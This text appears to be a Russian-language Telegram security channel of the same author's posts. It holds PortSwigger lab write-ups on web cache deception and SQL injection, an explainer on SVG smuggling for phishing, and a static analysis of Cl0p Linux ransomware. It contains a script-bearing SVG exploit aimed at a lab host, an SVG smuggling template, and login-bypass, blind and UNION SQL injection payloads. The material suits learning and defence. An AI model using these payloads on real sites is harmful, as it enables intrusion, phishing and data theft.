Coffee cube
286 subscribers
121 photos
17 videos
24 files
84 links
Этот канал посвещен моему пути в сфере Информационной безопасности.

Выкладываю статьи по моим исследованиям, райтапы на лабораторные работы и забавные истории. Присоединяйтесь^3

По всем вопросам можете писать мне в ЛС: @ju57_4_cu63
Download Telegram
Exploiting_origin_server_normalization_for_web_cache_deception.pdf
421.6 KB
Привет^3

Продолжаю выкладывать райтапы на лабы по Web cache deception.

Код svg файлы вынесу сюда:


<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="https://www.w3.org/2000/svg" xmlns:xlink="https://www.w3.org/1999/xlink">
<image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAEz0lEQVR4nAHEBDv7AAxxUTd8YtLTcEaHx40ZIJK60obC5Ou1cLF+TS4/XVlRSmvVi/w8Ca2/8IQgN1t1Vnz2z4Qbhi41a9vUGAAdrSE1KG1/JVhVWHa4MMlbjStnEqyHAJ955H/P5KELCfoLxZfvMBXHOrF5zXHK2FQDizWDvG8AL/aju1MAPftmRhxjuzxxxxwr6/sTuNGCrXbDgrp8f8pF4XXBCEmwevYo0UZcWY8m8y7drro6Fyfn/IZhDuf1Sra3ABF+HBy+0XxXRZPGpTTfOjn2WtbN6h3k3ZDaqjVIrcc2nzDsXX50RAmZWqJP/udjDRsBKoHV1tiUzBeO+AAPUxxJoPg1+LVX0ZGGuREcxlbsasPf3V88wgpJOvEe7/QM9Hygg1HYJEIi0/ELhzseWQyUEVX/5KFxcAYAGGSIkEfp0R2p8/iekqmiWWqmx4UJkbv79HhBPEmjcWrMq6OnnQlOlqlw45AKt7FYqns9bm2RKcaIXJKsAJfNE+IyVXL8eq752OYiBqePXfd5N/yVih9sbDBKGczO78uVB1hJPCV+YBWtBNpQ6vZHOyB5m9oZXr8+sACMrWSnXLEdiLu3S20yGUdFLJU1auqh7OUvMdi6FmGLjkMIz+qDNfLibseIgyNhHJjE5CLZpJ8fmQ/cRd8A7cTTpcVgtzIbWOcASAT8WePb1RfDQtTm7zJrFqLslkdMnDHBHv1w43qYv0EXDx/UTRRav8hpToTpGztfADmSJNLe+I/qQgntVRu+8YHIot93eGUgAAIPBUr/ALoq0TghgQKgT4tVSjOSRqV4Od243GfoLQ4uY+0t1QB5ktSY7avPeAitGgVwZ2YdbC8qijR5JZx6QuVAr87H03yNKyeLR7UMae5XGPLKnjee0NvDCCOQxQcPUMsAZl11CIYce3xIb/xyhTT6wV6H0XOF8My6bnS+WaEVFStSW0zoTRT2eFHMXq45KCN3aOA19/BVG0i9/DPuAP4Z833YYQN+QzXZYagmlb9vBHXZ0MJCBIfvs43jV1l1AXubIPVot5j9K5zkmu9IvFWES9C614mfBoN4dwASTMvwX+y63gzmNUzx1IIzdXJnlTxqJgWAEz8KyKSyOTXY8s5mC0f1H/zDXOIzE5iyGG1RODjQCJFLLOwA6+J5ZIlRkIXofOGOoHfNWGHZ2kH1c2ueLcw1T57fSw5D1/9n05ZeUUWpKLEYwCws8jAZm2/01M9bxbX5AGgdzTS6EW7F2YduQvY4YmfEYJ2XznsR3mU9L4ecSPLKCzuIAqkL9hN8eYlQwKAhhTFHqM15tRk6m6iR0wD2wNoLzCWjhF2SE67i0iEH/WGUt7KhRDiDslK6+KtX+tAVfSUi+NGE8JHUYjjotuk9eGKf+y0AvQcCJn0AtyEQZ5F//iLAZ1YdBSZ2K6+UXohWsjyz/5eVXJs45k3l85Lwxi/9rStDJCrpJ1Qul5wvG/juezX0KX23ADCzfLib3CQrgKhayon7oOZULnNkgKgkbIqgvqpzPVCRbTCgOi5lO6e/iSSFL3tlJYNrP1q4HBrF7MAEeQAUThoWm+8dYpYVW6ZKsNj8De13cqJXziBtn3iNoc60ZkmD3x0IcwQG+tKp/a3eGmz6dWpiv/Mm0G5hl0xSGlKET0w0lQAAAABJRU5ErkJggg=="/>
<script type="text/javascript">
<![CDATA[
document.location="https://0aef000f03f69da48140110400a500fc.web-security-academy.net/resources/123/..%2f..%2fmy-account"
]]>
</script>
</svg>


#web #writeup
@coffee_cube
👨‍💻2🦄2👍1🔥1😎1
Привет^3

Мне не нравится экспорт markdown в pdf, поэтому сегодня попробую загрузить отчет через github. Продолжаю выкладывать разборы лаб направленных на кэширование динамических ресурсов. Отпишите в комменты, если так читать удобнее.

✏️разбор

#web #writeup
@cofee_cube
🔥3👍211👨‍💻1
Привет^3

Продолжаю выкладывать райтапы на лабы Port Swigger. Последнее время ковырялся с ядром линукс. Нашел одну интересную штку, связанную с переменными окружения. Позже опишу, что у меня вышло)

✏️Разбор

#web #writeup
@coffee_cube
🤔42🔥1👀1
Привет^3

Вот очередной разбор, в котором необходимо крутить SQL инъекцию 💉

✏️Разбор

#web #writeup
@coffee_cube
👨‍💻211🔥1
Привет^3

Сегодня хочу рассказать про SVG Smuggilng .

SVG - это один из видов графики, который формируется с помощью геометрических объектов: линий, кругов, прямоугольников, кривых и прочих элементов.


Данный формат файл поддерживате JavaScript код, который можно указать в блоке <![DATA[]]>. Сам формат файла следующий:


<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="https://www.w3.org/2000/svg" xmlns:xlink="https://www.w3.org/1999/xlink">
<image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,<base64 png>"/>
<script type="text/javascript">
<![CDATA[
alert('Smuggle code here');
]]>
</script>
</svg>


Пример использования можно посмотеть туть.

#phishing
@coffee_cube
👍3👨‍💻1
Привет^3

А вот и следующий разбор на тему SQL инъекций. Хочу попробовать выкладывать разборы пачкой на одну тему. Как вам идея?

✏️Разбор

#web #writeup
@coffee_cube
👨‍💻61
Привет^3

Прошло где-то два месяца с последнего поста. За это время произошло много весёлого и интересного — и в работе, и в жизни в целом. Наконец-то возвращаюсь к постингу )

Я решил, что хочу выкладывать более объёмные посты, которые сам написал. Репостить рандомные новости из других ИБ-каналов мне не особо интересно. Поставил себе цель — опубликовать несколько статей в журнале xaker чтобы получить бесплатную подписку. Над одной из них уже начал работу. Выходит довольно забавный ресерч. Поэтому буду стараться делать больше ресерчей, чтобы вам было что почитать.

Идея вкатиться в баг-баунти никуда не делась, так что продолжал решать задачки на Port Swigger Academy. Теперь буду постить решения паком.

Так что — ожидайте :3

@coffee_cube
273🤝2❤‍🔥1👍1🍓1😎1
Channel photo updated
Привет^3

Сегодня будет подборка лаб по SQL-инъекциям.

SQL-инъекция - это внедрение произвольного SQL-запроса к базе данных. Такая возможность отправки запроса, означает ошибку безопасности, допущенную разработчиком при написании кода. Наличие данной уязвимости может привести к краже конфиденциальной информации из БД. Входит в OWASP TOP 10.

Причиной такой уязвимости является отсутствие фильтрации, или недостаточно хорошая фильтрация входящих данных. То есть, для обнаружения инъекции нужно найти точку входа - те места, где можно подставлять данные. Например форма входа на сайт, поиск по сайту, отправка комментария и т. п.

📎Пример

Пусть у нас будет следующий запрос к БД на стороне сервера:


SELECT * FROM news WHERE id='id'


Предположим, значение id мы можем контролировать. Значит, передав в id следующую строку 1' or true-- -, мы изменим логику запроса.


SELECT * FROM news WHERE id='1' or true-- -'


Список разборов:
✏️SQL injection attack, listing the database contents on Oracle
✏️SQL injection attack, listing the database contents on non-Oracle databases
✏️SQL injection attack, querying the database type and version on MySQL and Microsoft
✏️SQL injection attack, querying the database type and version on Oracle
✏️SQL injection vulnerability allowing login bypass
✏️SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

#web #writeup
@coffee_cube
🔥53😎2👍1👨‍💻1
Вот что у человека могло случиться в 05:33, что внезапно понадобился взлом ТГ? В 5 утра, Карл...

#memes
@coffee_cube
1🗿7🥰1😁1👨‍💻1💅1
Привет^3🦠

Сегодня покажу вам разбор несложной малвари под Linux.

Реверс-инжиниринг помогает разобраться в том, как работает ВПО(вредоносное программное обеспечение). Более подробно можно почитать туть.

При анализе малвары мне нравится извелкать интересные приемы, которые в ней используются. А далее воспроизводить их для дальнейшего детекта и забавы ради.

Обычно проводится статический и динамический анализ для полного понимания алгоритма работы программы.

В этом посте я проведу статический анализ. Динамический анализ и небольшой интерактивчик будет на следующей неделе:3

Первым делом

Обычно я смотрю файл через утилиту Detect It Easy. Вот ее вывод:


Info:
Size: 1028096
File type: ELF32
String: ELF(386)
Extension: elf
Operation system: Red Hat Linux(ABI: 2.6.9)
Architecture: 386
Mode: 32-bit
Type: EXEC
Endianness: LE


Выглядит так, что таблица символов не удалена, поэтому можно сразу найти main. Закидываб бинарь в IDA Pro

main

В функции main происходит создание процесса-демона с вызовом chroot() в корневую директорию /. (скриншот 1)

Далее в бесконечном цикле вызывается функция do_heartbeat().

do_heartbeat()

Из функции можно извлечь все директории, с которыми малвара взимодействует. (скриншот 2)

/u01, /u02, /u03, /u04 - это часто используемые точки монтирования в Linux при работе с базами данных Oracle.

find

Конечно же следом пойду смотреть фунцию find. (скриншот 3)

Алгоритм функции достаточно простой:
1. Открывает директорию и проходится по всем файлам в ней. Если это . или .., то их пропускает;
2. Вызвает функцию CreatRadMe (да-да, это не опечатка). По названию понятно, что создается README файл (скриншот 4);
3. Далее происходит вызов EncrFile, если не находит подстроку C_I_0P в пути до файла. Если же это директория, то рекурсивно вызывается find;

CreatRadMe

Ничего особо интересного тут нет. Просто создается файл со следующим содержанием. (скриншот 4)

EncrFile

Думаю, что ключевая функция во всем малваре - EncrFile. (скриншот 5)

По сути для файла изменяются права с помощью chmod() на rw-------. Эти же права используются далее для работы с файлами.

Файл шифрутеся с помощью алгоритма rc4. Ключ генерируется для каждого файла отдельно, и, что интересно, записывается в файл рядом с раширением .C_I_0P с помощью функции CreateKey. Это означает, что получится эти файлы расшифровать) При этом шифруется максимум 100000000 байт файла.

︎ Итог

Я провел статический анализ не сложного шифровальщика-демона(такие бываю не часто, но об этом напишу позже❤️). Так как ключ хранится рядом с зашифрованным файлом, то мы можем написать дешифровшик. Динамическим анализом и написанием дешифровшика мы займемся в следующий вторник. Так что ожидайте с нетерпением:3

#malware #linux
@coffee_cube
1🤝5👨‍💻42👍21❤‍🔥1
Привет^3

Сегодня продолжим разбираться в SQL-инъекциях дальше. Предыдущие разборы можно посмотреть туть:
✍️Что такое SQL инъекция

Логично предположить, что далеко не всегда сайт отображает ошибку при выполнение запроса. Такие уязвимости все еще можно эксплуатировать. У них даже есть отдельное название - Blind. А значить для SQL-инъекции название будет Blind SQL-инъекция.

Для того, чтобы ее найти, необходимо отслеживать изменения при отправке различных запросов: отсутствие части информации, появление новых элементов, отсутствие контента.

Поиск слепой инъекции начинается с определения параметров и использования логических операторов.

ascii

Одной из техник является использование функции ascii. Она возвращает значение ASCII для конкретного строчного символа. Возвращает 0, если str - пустая строка.


SELECT ASCII('a');


Зачем это нам нужно? В комбинации с функцией SUBSTRING, которая извлекает подстроку из строки начиная с любой позиции, мы можем извлекать по одному символу из таблицы и сравнивать его с кодом ascii.

Синтаксис SUBSTRING:


SUBSTRING(string, start, length)


Пример полезной нагрузки:


1' and ascii(substring((select database()),1, 1))>97--+


В случае успешного выполнения условия мы увидим изменение на странице. Чтобы не перебирать все символы линейно, можно использовать алгоритм бинарного поиска)

Список разборов:
✏️Blind SQL injection with conditional errors
✏️Blind SQL injection with conditional responses
✏️Blind SQL injection with out-of-band data exfiltration
✏️Blind SQL injection with out-of-band interaction
✏️Blind SQL injection with time delays and information retrieval
✏️Blind SQL injection with time delays

#writeup #web
@coffee_cube
3❤‍🔥2👍1👨‍💻1
Ладно - прохладно... А вас тоже булит телеграм?)

#memes
@coffee_cube
😁3❤‍🔥11🥰1👨‍💻1
Привет^3

Это второй пост про анализ шифровальщика Cl0p . Первый можно найти по этой ссылке: Cl0p. Статический анализ.

В данном разборе я покажу, как для него можно написать дешифровщик. Так же приложу зашифрованные файлы, с которыми вы можете поиграться сами:3

✏️Читать далее

Файлы из статьи:

📄Зашифрованный файл
🔑Ключ от файла

#malware #linux #reverse
@coffee_cube
1👨‍💻31❤‍🔥1
Привет^3 😈

Продолжаем копать в сторону SQL-инъекций. На очереди UNION based injection. Предыдущие разборы можно посмотреть туть:

✍️Что такое SQL инъекция
✍️Blind SQL инъекции

Данная инъекция основана на объединении выборки данных с помощью UNION.


SELECT column_name FROM table1 UNION SELECT column_name FROM table2;


Если мы нашли уязвимый параметр и поняли, как обрамлять данные(например, ' или ", или вовсе без кавычек), дальше нужно:
1. Определить количество колонок в оригинальном запросе;
2. Найти колонку, которая отображается на странице;
3. Начать вытаскивать данные о БД с помощью функций типа database(), version() и т.д.

Получаем названия БД


'-1' UNION SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+


Выясняем название колонок


'-1' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=(SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+)-- -


Вытаскиваем данные из таблцицы


'-1' UNION SELECT news,2 FROM table_name--+-


Собрав информацию о БД мы можем вытаскивать нужные нам данные. А вот список разборов на лабы с данным типом уязвимости:
✏️SQL injection UNION attack, determining the number of columns returned by the query
✏️SQL injection UNION attack, finding a column containing text
✏️SQL injection UNION attack retrieving data from other tables
✏️SQL injection UNION attack retrieving multiple values in a single column
✏️SQL injection with filter bypass via XML encoding
✏️Visible error-based SQL injection

#web #writeup
@coffee_cube
Please open Telegram to view this post
VIEW IN TELEGRAM
121❤‍🔥1👍1🔥1👨‍💻1
Привет^3

Мода добралась и до проездных. Очевидная выгода: 500 рублей всего за 700. Кому нужен PODOROZHNIK?)

#memes
@coffee_cube
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🥰3😁3❤‍🔥1🐳1👻1